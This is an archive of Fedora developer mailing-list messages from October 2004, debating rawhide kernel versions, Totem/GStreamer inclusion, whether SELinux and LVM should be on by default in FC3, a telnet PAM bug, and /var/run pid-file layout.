been waiting to hear this. Totem/GStreamer has the potential to > provide a superior platform to those who hope to build an 100% free video > player. It also makes adding non-free or IP encumbered modules very > simple. > > I submitted totem/GStreamer to fedora.us in August: > > http://bugzilla.fedora.us/show_bug.cgi?id=1995 > > So perhaps that package can provide a start. > > -- > Mike > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From louisg00 at bellsouth.net Wed Oct 6 22:04:24 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Wed, 06 Oct 2004 18:04:24 -0400 Subject: Current rawhide kernel? Message-ID: <1097100264.3434.4.camel@tiger> Rawhide has kernel-2.6.8-1.541, the same as what came with FC3T2. Has their not been and new development kernels since then? Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a week ago. Then the kernel version went back to .541. Should I be testing .541 or .590? --Thanks From davej at redhat.com Wed Oct 6 22:17:19 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 6 Oct 2004 18:17:19 -0400 Subject: Current rawhide kernel? In-Reply-To: <1097100264.3434.4.camel@tiger> References: <1097100264.3434.4.camel@tiger> Message-ID: <20041006221719.GF28226@redhat.com> On Wed, Oct 06, 2004 at 06:04:24PM -0400, Louis Garcia wrote: > Rawhide has kernel-2.6.8-1.541, the same as what came with FC3T2. Has > their not been and new development kernels since then? No. Lots of internal jiggling of patches and such for SELinux among other chaos. > Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a > week ago. Then the kernel version went back to .541. .590 was bad aparently, and causes zillions of selinux warnings. > Should I be testing .541 or .590? .598 8-) Coming to a mirror near you. Soon. (or more likely -- tomorrow) In the meantime, .541 is probably the safer choice. Dave From alan at clueserver.org Wed Oct 6 21:22:51 2004 From: alan at clueserver.org (alan) Date: Wed, 6 Oct 2004 14:22:51 -0700 (PDT) Subject: Current rawhide kernel? In-Reply-To: <20041006221719.GF28226@redhat.com> Message-ID: On Wed, 6 Oct 2004, Dave Jones wrote: > On Wed, Oct 06, 2004 at 06:04:24PM -0400, Louis Garcia wrote: > > Rawhide has kernel-2.6.8-1.541, the same as what came with FC3T2. Has > > their not been and new development kernels since then? > > No. Lots of internal jiggling of patches and such for SELinux among > other chaos. > > > Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a > > week ago. Then the kernel version went back to .541. > > .590 was bad aparently, and causes zillions of selinux warnings. > > > Should I be testing .541 or .590? > > .598 8-) Coming to a mirror near you. Soon. (or more likely -- tomorrow) > In the meantime, .541 is probably the safer choice. Will it fix the problems with cd burning? From mpeters at mac.com Wed Oct 6 22:47:00 2004 From: mpeters at mac.com (Michael A. Peters) Date: Wed, 6 Oct 2004 15:47:00 -0700 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097097007.2721.33.camel@tux.lan> (from rbultje@ronald.bitfreak.net on Wed, Oct 06, 2004 at 14:10:07 -0700) References: <1097097007.2721.33.camel@tux.lan> Message-ID: <20041006224700.GA18962@devel.mpeters.us> On 10/06/2004 02:10:07 PM, Ronald S. Bultje wrote: > > How would you guys feel about including this in Fedora Core? It would > add a missing piece to the desktop. We're also considering to propose > Totem for inclusion in GNOME 2.10. YES!! I'm using totem-gstreamer now on FC2 (0.99.16) and it isn't perfect, there have been files it won't play that gst-launch-ext will play, but it is quite good. Playing divx was as simple as installing the gstreamer-ffmpeg from livna, installing the current divx4linux (which wants compat-libstdc++ for those who download the free library from divx.com) and then building the divx4linux plugin for gstreamer. GStreamer is definitely the missing piece of the puzzle in Gnome multimedia - since it provides a good plugin framework that allow installation of proprietary plugins without needing to recompile your software against it. The HD divx trailer for SharkTail does better in my totem-gstreamer build than it does in Win XP on the same hardware. (it will play smoothly in XP if you don't do anything else - but it plays smooth in gstreamer regardless) I was planning to host a small yum repository for totem-gstreamer with some plugins that livna/fedora stable doesn't provide - but if totem- gstreamer makes it into Fedora Core (or even Fedora Stable) I only will need to provide some of the video plugins. Got a Creative dxr3? The gstreamer plugin builds just fine - I haven't tried it yet (I don't have the card, but I'm getting off of eBay) - no need to rebuild your xine backend to link against their user space lib for totem to use that card, just install the plugin and you're gold. Well, theoretically. But yes - I'm all for totem-gstreamer even if the xine backend is a little better. GStreamer is the way to do things. Now if someone would port Audacity to GStreamer - and sox (gsox ??) ... From derekm at hackunix.org Wed Oct 6 22:50:05 2004 From: derekm at hackunix.org (Derek P. Moore) Date: Wed, 06 Oct 2004 17:50:05 -0500 Subject: Cooperative Bug Isolation project on Fedora Core 2 & 1 In-Reply-To: <1097055860.9175.24.camel@marte.biciclete.ro> References: <41632D0E.2070101@cs.berkeley.edu> <1097040875.4212.10.camel@marte.biciclete.ro> <41638AAC.6080804@cs.berkeley.edu> <1097055860.9175.24.camel@marte.biciclete.ro> Message-ID: <1097103005.25022.2.camel@walk.straycat.hackunix.org> > > > Is it possible to get debugging packages for software in FC3t2? > > > > Unfortunately, we're not planning to post FC3t2 packages right now. > > That is due in part to limited manpower and in part to our need for a > > large user base. > > > > Now, if the Fedora engineering team wanted make this part of the > > standard Fedora build process, so that *every* test release user would > > be getting our instrumented code, that would be a whole other story.... > > is this possible? at least for a some desktop packages. I second the motion. From fedora-devel-list at cygnusx-1.org Wed Oct 6 23:24:22 2004 From: fedora-devel-list at cygnusx-1.org (Nathan Grennan) Date: Wed, 06 Oct 2004 16:24:22 -0700 Subject: SELinux should be off by default in FC3 Message-ID: <1097105063.4711.37.camel@ws.1sttier.net> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127900 I reported the bug in at the url above, and was told it was because I needed to relabel the file. I just moved it from /home/user to /var/www/html. I don't think it is reasonable to have to relabel every time a file is moved around to work around possible problems with SELinux. This could be especially bad with web servers where the users only have ftp access. They upload files and move them around, but don't have the ability to run the commands necessary to relabel. Hence I believe even SELinux targeted should be off by default in FC3, or I would expect to see lots of such bug reports from users. My personal view of SELinux at this point is it sounds nice, but if it requires running relabel constantly it isn't worth the trouble. The process needs to be automated. From enrico.scholz at informatik.tu-chemnitz.de Wed Oct 6 23:31:36 2004 From: enrico.scholz at informatik.tu-chemnitz.de (Enrico Scholz) Date: Thu, 07 Oct 2004 01:31:36 +0200 Subject: Current rawhide kernel? In-Reply-To: <20041006221719.GF28226@redhat.com> (Dave Jones's message of "Wed, 6 Oct 2004 18:17:19 -0400") References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> Message-ID: <87655n8luv.fsf@kosh.ultra.csn.tu-chemnitz.de> davej at redhat.com (Dave Jones) writes: > > Should I be testing .541 or .590? > > .598 8-) Coming to a mirror near you. Soon. Will an errata-kernel for FC2 appear also "soon"? Enrico From fedora-devel-list at cygnusx-1.org Wed Oct 6 23:36:11 2004 From: fedora-devel-list at cygnusx-1.org (Nathan Grennan) Date: Wed, 06 Oct 2004 16:36:11 -0700 Subject: LVM should not be used by default with FC3 Message-ID: <1097105771.4711.44.camel@ws.1sttier.net> I have been heard from multiple sources that LVM will be used by anaconda when using automatic partitioning. I think this is a very bad idea. It breaks the KISS(Keep it simple stupid) principle. I have personally used LVM in the past and currently use software raid. Both are powerful and wonderful features, but in most cases are overkill, make things more complex, and make life hell when something like grub or init scripts break. From vallimar at sexorcisto.net Wed Oct 6 23:48:32 2004 From: vallimar at sexorcisto.net (vallimar at sexorcisto.net) Date: Wed, 6 Oct 2004 19:48:32 -0400 (EDT) Subject: Telnet doesn't work in FC3test2 In-Reply-To: <9f50a7a0041006140137a947b7@mail.gmail.com> References: <1097088190.3227.26.camel@localhost.localdomain> <4164590B.9030708@redhat.com> <9f50a7a0041006140137a947b7@mail.gmail.com> Message-ID: <1106.192.168.1.2.1097106512.squirrel@192.168.1.2> This is actually caused by the util-linux-2.12a-pamstart.patch in the util-linux rpm. It seems to want to use 'remote' instead of 'login'. No idea why or how exactly that works. Making a copy of /etc/pam.d/login to /etc/pam.d/remote might work, though I honestly have no idea, I just recompiled it with that patch disabled. > There is something wrong with the telnet server. When you try to use > it does not prompt you for a username & password you get this: > > [root at sendfinder vmwareboy]# telnet 192.168.1.10 > Trying 192.168.1.10... > Connected to 192.168.1.10. > Escape character is '^]'. > Fedora Core release Rawhide (Rawhide) > Kernel 2.6.9 on an x86_64 > Login incorrect > > Login incorrect > > Login incorrect > > > Login incorrect > > > and your stuck...we have a bug!! > > Though I do not advocate the use of telnet, but there are a few > cases....and I mean few...that people do have to use it. But if you > are using it you need to find a way to get away from it! From russell at coker.com.au Thu Oct 7 02:54:08 2004 From: russell at coker.com.au (Russell Coker) Date: Thu, 7 Oct 2004 12:54:08 +1000 Subject: /var/run/directory/ In-Reply-To: <20041004134545.GA16343@nostromo.devel.redhat.com> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <200410041515.49657.russell@coker.com.au> <20041004134545.GA16343@nostromo.devel.redhat.com> Message-ID: <200410071254.08825.russell@coker.com.au> On Mon, 4 Oct 2004 23:45, Bill Nottingham wrote: > Russell Coker (russell at coker.com.au) said: > > > While creating a new problem for finding pid files... do you go > > > by the service name? The server name? Something else? > > > > How would the problem be any greater than it is right now? > > Right now it's basename of the process. Except in the case of /var/run/sm-client.pid which has a process base-name of "sendmail". I'm sure that there are other similar exceptions too. > > In terms of what > > name to use (service, server, or something else) it's exactly the same > > issue as we have at the moment with /var/run/something.pid. > > If you move to this new thing, do you do one dir per daemon? One > per process? Something else? One per security context. So have /var/run/sendmail for sendmail.pid and sm-client.pid as they are both part of the sendmail service. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Thu Oct 7 03:02:10 2004 From: russell at coker.com.au (Russell Coker) Date: Thu, 7 Oct 2004 13:02:10 +1000 Subject: /var/run/directory/ In-Reply-To: <20041004142352.GA990709@hiwaay.net> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <4160DE09.73F7F7DC@jwz.org> <20041004142352.GA990709@hiwaay.net> Message-ID: <200410071302.10501.russell@coker.com.au> On Tue, 5 Oct 2004 00:23, Chris Adams wrote: > I opened a Bugzilla requesting enhancement to the init.d functions a > couple of years ago because of this: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=63440 When sending a signal to a daemon to be sure that we get things right we need to check: PID number in pidfile (which needs to be in a subdirectory for a non-root process to be able to restart itself). Executable that is being run. If the daemon crashes and another process gets the same pid then we don't want to kill the wrong thing, checking that the program matches the daemon is a good way to do it. The start-stop-daemon program used in Debian does this. One issue with such checks is that you must stop the daemon before upgrading it, otherwise an attempt to stop it will fail because the executable for the daemon no longer exists. For SE Linux we also want to check the security context. It's not difficult to ask the kernel what happens when the domain specified in /etc/selinux/strict/contexts/initrc_context executes the type of the executable for the daemon and then check that the process to be killed is running in the domain in question. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From notting at redhat.com Thu Oct 7 03:19:35 2004 From: notting at redhat.com (Bill Nottingham) Date: Wed, 6 Oct 2004 23:19:35 -0400 Subject: /var/run/directory/ In-Reply-To: <200410071254.08825.russell@coker.com.au> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <200410041515.49657.russell@coker.com.au> <20041004134545.GA16343@nostromo.devel.redhat.com> <200410071254.08825.russell@coker.com.au> Message-ID: <20041007031934.GA1531@nostromo.devel.redhat.com> Russell Coker (russell at coker.com.au) said: > On Mon, 4 Oct 2004 23:45, Bill Nottingham wrote: > > Russell Coker (russell at coker.com.au) said: > > > > While creating a new problem for finding pid files... do you go > > > > by the service name? The server name? Something else? > > > > > > How would the problem be any greater than it is right now? > > > > Right now it's basename of the process. > > Except in the case of /var/run/sm-client.pid which has a process base-name of > "sendmail". I'm sure that there are other similar exceptions too. There are overrides to the daemon function that makes some of this work, but it doesn't work *well*. > > If you move to this new thing, do you do one dir per daemon? One > > per process? Something else? > > One per security context. So have /var/run/sendmail for sendmail.pid and > sm-client.pid as they are both part of the sendmail service. Then there's really no good way for Joe Random Process to know that the pid for sm-client is in the sendmail dir. Bill From walters at redhat.com Thu Oct 7 04:06:29 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 00:06:29 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097105063.4711.37.camel@ws.1sttier.net> References: <1097105063.4711.37.camel@ws.1sttier.net> Message-ID: <1097121989.4627.6.camel@nexus.verbum.private> On Wed, 2004-10-06 at 16:24 -0700, Nathan Grennan wrote: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127900 > > I reported the bug in at the url above, and was told it was because I > needed to relabel the file. I just moved it from /home/user > to /var/www/html. You can copy instead of moving, that will cause the newly created file to inherit the target directory's security context. > I don't think it is reasonable to have to relabel > every time a file is moved around to work around possible problems with > SELinux. It's a good thing that a bit of work is required to expose your personal data to the web server. > This could be especially bad with web servers where the users > only have ftp access. They upload files and move them around, but don't > have the ability to run the commands necessary to relabel. If you upload via FTP directly to the web site, then it will Just Work. If you upload to your home directory and then rename to the website directory (which seems rather odd to me), then yes, you will need to relabel. And normal users can do this, just run: chcon -t httpd_user_content_t filename > Hence I > believe even SELinux targeted should be off by default in FC3, You can disable SELinux protection just for Apache if you like, run system-config-securitylevel. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From feliciano.matias at free.fr Thu Oct 7 04:07:40 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Thu, 07 Oct 2004 06:07:40 +0200 Subject: Current rawhide kernel? In-Reply-To: References: Message-ID: <1097122061.6891.5.camel@localhost.localdomain> Le mercredi 06 octobre 2004 ? 14:22 -0700, alan a ?crit : > On Wed, 6 Oct 2004, Dave Jones wrote: > > > On Wed, Oct 06, 2004 at 06:04:24PM -0400, Louis Garcia wrote: > > > Rawhide has kernel-2.6.8-1.541, the same as what came with FC3T2. Has > > > their not been and new development kernels since then? > > > > No. Lots of internal jiggling of patches and such for SELinux among > > other chaos. > > > > > Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a > > > week ago. Then the kernel version went back to .541. > > > > .590 was bad aparently, and causes zillions of selinux warnings. > > > > > Should I be testing .541 or .590? > > > > .598 8-) Coming to a mirror near you. Soon. (or more likely -- tomorrow) > > In the meantime, .541 is probably the safer choice. > > Will it fix the problems with cd burning? > What problem ? This one ?: http://lwn.net/Articles/98379/ -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From denisleroy at yahoo.com Thu Oct 7 04:24:12 2004 From: denisleroy at yahoo.com (Denis Leroy) Date: Wed, 6 Oct 2004 21:24:12 -0700 (PDT) Subject: Current rawhide kernel? In-Reply-To: <1097122061.6891.5.camel@localhost.localdomain> Message-ID: <20041007042412.98403.qmail@web60708.mail.yahoo.com> --- Matias F?liciano wrote: > Le mercredi 06 octobre 2004 ? 14:22 -0700, alan a ?crit : > > On Wed, 6 Oct 2004, Dave Jones wrote: > > > > > On Wed, Oct 06, 2004 at 06:04:24PM -0400, Louis Garcia wrote: > > > > Rawhide has kernel-2.6.8-1.541, the same as what came with > FC3T2. Has > > > > their not been and new development kernels since then? > > > > > > No. Lots of internal jiggling of patches and such for SELinux > among > > > other chaos. > > > > > > > Somehow I am running kernel-2.6.8-1.590, I got this from > rawhide maybe a > > > > week ago. Then the kernel version went back to .541. > > > > > > .590 was bad aparently, and causes zillions of selinux warnings. > > > > > > > Should I be testing .541 or .590? > > > > > > .598 8-) Coming to a mirror near you. Soon. (or more likely -- > tomorrow) > > > In the meantime, .541 is probably the safer choice. > > > > Will it fix the problems with cd burning? > > > > What problem ? > This one ?: > http://lwn.net/Articles/98379/ If he meant this problem (the one i referred to in an earlier post) : http://marc.theaimsgroup.com/?l=linux-kernel&m=109309119620622&w=2 http://readlist.com/lists/vger.kernel.org/linux-kernel/7/37688.html I think it's fixed in .541 From russell at coker.com.au Thu Oct 7 04:29:59 2004 From: russell at coker.com.au (Russell Coker) Date: Thu, 7 Oct 2004 14:29:59 +1000 Subject: /var/run/directory/ In-Reply-To: <20041007031934.GA1531@nostromo.devel.redhat.com> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> <200410071254.08825.russell@coker.com.au> <20041007031934.GA1531@nostromo.devel.redhat.com> Message-ID: <200410071429.59645.russell@coker.com.au> On Thu, 7 Oct 2004 13:19, Bill Nottingham wrote: > > > If you move to this new thing, do you do one dir per daemon? One > > > per process? Something else? > > > > One per security context. So have /var/run/sendmail for sendmail.pid and > > sm-client.pid as they are both part of the sendmail service. > > Then there's really no good way for Joe Random Process to know > that the pid for sm-client is in the sendmail dir. There's absolutely no way for Joe Random Process to know that the pid for the second copy of /usr/sbin/sendmail.sendmail is named sm-client.pid! If sm-client.pid was in the directory /var/run/sendmail then figuring out that the sendmail process is related to the /var/run/sendmail directory is not overly difficult. I am not suggesting that we do anything new, I am merely suggesting that the practices of putting pid files in sub-directories as currently used by Quagga, mdadm, radiusd (*), and dovecot be extended for more daemons. I think that your point about the difficulty for Joe Random Process in finding the pid file is a really good one and supports my case well. (*) The radiusd start script creates a sym-link /var/run/radiusd.pid which points to the real location. This is a good idea, I would be happy if /var/run was filled with sym-links and directories containing the real files. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From paul at all-the-johnsons.co.uk Thu Oct 7 06:28:55 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Thu, 07 Oct 2004 07:28:55 +0100 Subject: Current rawhide kernel? In-Reply-To: <20041006221719.GF28226@redhat.com> References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> Message-ID: <1097130536.6863.17.camel@localhost.localdomain> Hi, > > Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a > > week ago. Then the kernel version went back to .541. > > .590 was bad aparently, and causes zillions of selinux warnings. I've been running 590 on the laptop (used every day for about 12 hours a day) since it came out. Never a moments hassle. TTFN Paul -- Homer: Donut? Lisa: No, thanks. Do you have any fruit? Homer: This has purple stuff inside. Purple is a fruit. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From russell at coker.com.au Thu Oct 7 06:34:07 2004 From: russell at coker.com.au (Russell Coker) Date: Thu, 7 Oct 2004 16:34:07 +1000 Subject: cups and printconf In-Reply-To: <20041004092010.GZ21098@redhat.com> References: <200410040609.12188.russell@coker.com.au> <200410040657.05097.russell@coker.com.au> <20041004092010.GZ21098@redhat.com> Message-ID: <200410071634.07558.russell@coker.com.au> On Mon, 4 Oct 2004 19:20, Tim Waugh wrote: > On Mon, Oct 04, 2004 at 06:57:05AM +1000, Russell Coker wrote: > > > Is this the same thing? If so, looks like python is trying to > > > write 'compiled/optimized' .pyc/.pyo files in > > > /usr/share/printconf/util/ > > > > That sounds likely. I'll wait until that bugzilla is closed then. > > Still waiting for the build system to flip the configuration bit > needed for this. > > Isn't dontaudit a good option for this if it doesn't get fixed before > release? I don't think that we want to put in dontaudit rules for bugs that impact the operation of the system. Also the process for removing rules is rather painful so I prefer that they don't get included in the first place if they don't make sense. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From r.a.mercer at blueyonder.co.uk Thu Oct 7 06:38:37 2004 From: r.a.mercer at blueyonder.co.uk (Adam Mercer) Date: Thu, 07 Oct 2004 07:38:37 +0100 Subject: I would rather have an update for FC2 [was: Re: Will FC3 wait for 2.6.9 ?] In-Reply-To: <20041006203522.GB1520790@hiwaay.net> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <41644EB6.5050109@mail.telepac.pt> <20041006201209.GD27066@devserv.devel.redhat.com> <20041006203522.GB1520790@hiwaay.net> Message-ID: <4164E46D.6090606@blueyonder.co.uk> Chris Adams wrote: > IIRC there was a recent BUGTRAQ notice that there were security holes > found in cdrecord when it was setuid root. Have these been fixed in the > Fedora version? Fixed earlier this month. --------------------------------------------------------------------- Fedora Update Notification FEDORA-2004-298 2004-09-09 --------------------------------------------------------------------- Product : Fedora Core 2 Name : cdrtools Version : 2.01 Release : 0.a27.4.FC2.3 Summary : A collection of CD/DVD utilities. Description : cdrtools is a collection of CD/DVD utilities. --------------------------------------------------------------------- Update Information: Anyone who has manually suid /usr/bin/cdrecord should update to this version. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0806 Cheers Adam From fedora-devel-list at cygnusx-1.org Thu Oct 7 07:07:19 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Thu, 07 Oct 2004 00:07:19 -0700 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097121989.4627.6.camel@nexus.verbum.private> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> Message-ID: <1097132840.5835.2.camel@proton.cygnusx-1.org> On Thu, 2004-10-07 at 00:06 -0400, Colin Walters wrote: > You can copy instead of moving, that will cause the newly created file > to inherit the target directory's security context. > So the move command is obsolete, and all users will figure this out and accept it? > It's a good thing that a bit of work is required to expose your personal > data to the web server. It should be obvious that I am exposing it when I move it to /var/www/html. > If you upload via FTP directly to the web site, then it will Just Work. > If you upload to your home directory and then rename to the website > directory (which seems rather odd to me), then yes, you will need to > relabel. And normal users can do this, just run: > I have seen users accidentally upload data to /home/user, instead of /home/public_html and then move it. A user may also want to upload big files like isos before a release to /home/user, and then move them into /home/user/public_html when the time is right. Users will do all kinds of things you can think of doing. > You can disable SELinux protection just for Apache if you like, run > system-config-securitylevel. So it is good to be broken out of the box? This is also just one case with one service. I am sure many more such problems will come up. I think that SELinux should be more transparent to the user before becoming the default. From arjanv at redhat.com Thu Oct 7 07:20:15 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 07 Oct 2004 09:20:15 +0200 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097105063.4711.37.camel@ws.1sttier.net> References: <1097105063.4711.37.camel@ws.1sttier.net> Message-ID: <1097133615.2789.12.camel@laptop.fenrus.com> On Thu, 2004-10-07 at 01:24, Nathan Grennan wrote: > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127900 > I don't think it is reasonable to have to relabel > every time a file is moved around to work around possible problems with > SELinux. sounds like apache should automatically relabel or something on start. The goal of the default selinux policy is to be invisible unless you're an exploit. Seems like it's not ;( -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From russell at coker.com.au Thu Oct 7 07:21:00 2004 From: russell at coker.com.au (Russell Coker) Date: Thu, 7 Oct 2004 17:21:00 +1000 Subject: LVM should not be used by default with FC3 In-Reply-To: <1097105771.4711.44.camel@ws.1sttier.net> References: <1097105771.4711.44.camel@ws.1sttier.net> Message-ID: <200410071721.00457.russell@coker.com.au> On Thu, 7 Oct 2004 09:36, Nathan Grennan wrote: > I have been heard from multiple sources that LVM will be used by > anaconda when using automatic partitioning. I think this is a very bad > idea. It breaks the KISS(Keep it simple stupid) principle. I have > personally used LVM in the past and currently use software raid. Both > are powerful and wonderful features, but in most cases are overkill, > make things more complex, and make life hell when something like grub or > init scripts break. Not using LVM makes things more complex if the partition sizes you choose at install time end up not matching the type of data you install. That then leads to doing nasty things like moving trees of files to a different file system and having sym-links between them which among other things causes problems with SE Linux. In many ways LVM is the simple way of doing it! -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From rc040203 at freenet.de Thu Oct 7 08:15:58 2004 From: rc040203 at freenet.de (Ralf Corsepius) Date: Thu, 07 Oct 2004 10:15:58 +0200 Subject: sqlite? In-Reply-To: <41642915.9040506@math.unl.edu> References: <4163E1F5.4010806@math.unl.edu> <4163F0F1.5080900@terminus.co.uk> <20041006132358.GA2774@lisas.de> <20041006153407.157c1f5e.fedora@wir-sind-cool.org> <1097082894.17006.2709.camel@mccallum.corsepiu.local> <41642915.9040506@math.unl.edu> Message-ID: <1097136957.17006.3616.camel@mccallum.corsepiu.local> On Wed, 2004-10-06 at 19:19, Rex Dieter wrote: > Ralf Corsepius wrote: > > On Wed, 2004-10-06 at 15:34, Michael Schwendt wrote: > >>There's no SQLite 3 request, though. > > > > > > FWIW: Last weekend I tried to build SQLite3 on FC2. It fails its own > > testsuite (make test), which caused me not to submit it to FE. > > IMO, Submit it anyway... so more folks/eyes can look at it. Feel free > to mark it as NEEDSWORK (instead of QA). https://bugzilla.fedora.us/show_bug.cgi?id=2135 I put it into unstable instead and applied a specfile hack to pass-by the %check breakdown. I am not really interested into this package, so somebody else might want to dive into the details ;) Ralf From fedora-devel-list at cygnusx-1.org Thu Oct 7 08:24:21 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Thu, 07 Oct 2004 01:24:21 -0700 Subject: LVM should not be used by default with FC3 In-Reply-To: <200410071721.00457.russell@coker.com.au> References: <1097105771.4711.44.camel@ws.1sttier.net> <200410071721.00457.russell@coker.com.au> Message-ID: <1097137462.5874.15.camel@proton.cygnusx-1.org> On Thu, 2004-10-07 at 17:21 +1000, Russell Coker wrote: > Not using LVM makes things more complex if the partition sizes you choose at > install time end up not matching the type of data you install. That then > leads to doing nasty things like moving trees of files to a different file > system and having sym-links between them which among other things causes > problems with SE Linux. > Yes, at a higher level it does make things simpler. But at a lower level it makes things much more complex, and the lower level will come out when something breaks. In most cases you could solve the running out of disk space problem by just making everything one big partition. I don't have a problem with LVM, I just have a problem with as the default, which will effect the newbies more than anyone else. As for SELinux, I think it needs a lot of work before it is ready for prime time. I think the best thing to do if developers are determined to go down this road is to make it a boot option or something, but not make it the default for now. All the cases need to be covered first. Does this work with rescue mode? Will it cause any issues with users trying to reinstall grub with grub-install? From fedora-devel-list at cygnusx-1.org Thu Oct 7 08:26:46 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Thu, 07 Oct 2004 01:26:46 -0700 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097133615.2789.12.camel@laptop.fenrus.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> Message-ID: <1097137606.5941.18.camel@proton.cygnusx-1.org> On Thu, 2004-10-07 at 09:20 +0200, Arjan van de Ven wrote: > sounds like apache should automatically relabel or something on start. > In one of my examples I mention users uploading data via ftp, where that is their only access. They wouldn't be able to restart httpd. > The goal of the default selinux policy is to be invisible unless you're > an exploit. Seems like it's not ;( Exactly. From twaugh at redhat.com Thu Oct 7 08:30:59 2004 From: twaugh at redhat.com (Tim Waugh) Date: Thu, 7 Oct 2004 09:30:59 +0100 Subject: cups and printconf In-Reply-To: <200410071634.07558.russell@coker.com.au> References: <200410040609.12188.russell@coker.com.au> <200410040657.05097.russell@coker.com.au> <20041004092010.GZ21098@redhat.com> <200410071634.07558.russell@coker.com.au> Message-ID: <20041007083059.GN21098@redhat.com> On Thu, Oct 07, 2004 at 04:34:07PM +1000, Russell Coker wrote: > I don't think that we want to put in dontaudit rules for bugs that > impact the operation of the system. Also the process for removing > rules is rather painful so I prefer that they don't get included in > the first place if they don't make sense. Bugs? "Impact the operation of the system"? I doubt you could time the speed different for the average use of system-config-printer -- lost in the noise of loading foomatic. Anyway, let's just turn on the build system configuration bit for writing out these files and be done with it. I'm bored of asking for this. Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From twaugh at redhat.com Thu Oct 7 08:34:50 2004 From: twaugh at redhat.com (Tim Waugh) Date: Thu, 7 Oct 2004 09:34:50 +0100 Subject: Current rawhide kernel? In-Reply-To: <20041007042412.98403.qmail@web60708.mail.yahoo.com> References: <1097122061.6891.5.camel@localhost.localdomain> <20041007042412.98403.qmail@web60708.mail.yahoo.com> Message-ID: <20041007083450.GO21098@redhat.com> On Wed, Oct 06, 2004 at 09:24:12PM -0700, Denis Leroy wrote: > If he meant this problem (the one i referred to in an earlier post) : > > http://marc.theaimsgroup.com/?l=linux-kernel&m=109309119620622&w=2 > http://readlist.com/lists/vger.kernel.org/linux-kernel/7/37688.html > > I think it's fixed in .541 I've had all sorts of problems swap storms in 541; easily triggered by writing an audio CD. (It's in bugzilla.) Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From nphilipp at redhat.com Thu Oct 7 08:39:37 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 07 Oct 2004 10:39:37 +0200 Subject: LVM should not be used by default with FC3 In-Reply-To: <1097105771.4711.44.camel@ws.1sttier.net> References: <1097105771.4711.44.camel@ws.1sttier.net> Message-ID: <1097138376.12805.80.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-07 at 01:36, Nathan Grennan wrote: > I have been heard from multiple sources that LVM will be used by > anaconda when using automatic partitioning. I think this is a very bad > idea. It breaks the KISS(Keep it simple stupid) principle. I have > personally used LVM in the past and currently use software raid. Both > are powerful and wonderful features, but in most cases are overkill, > make things more complex, and make life 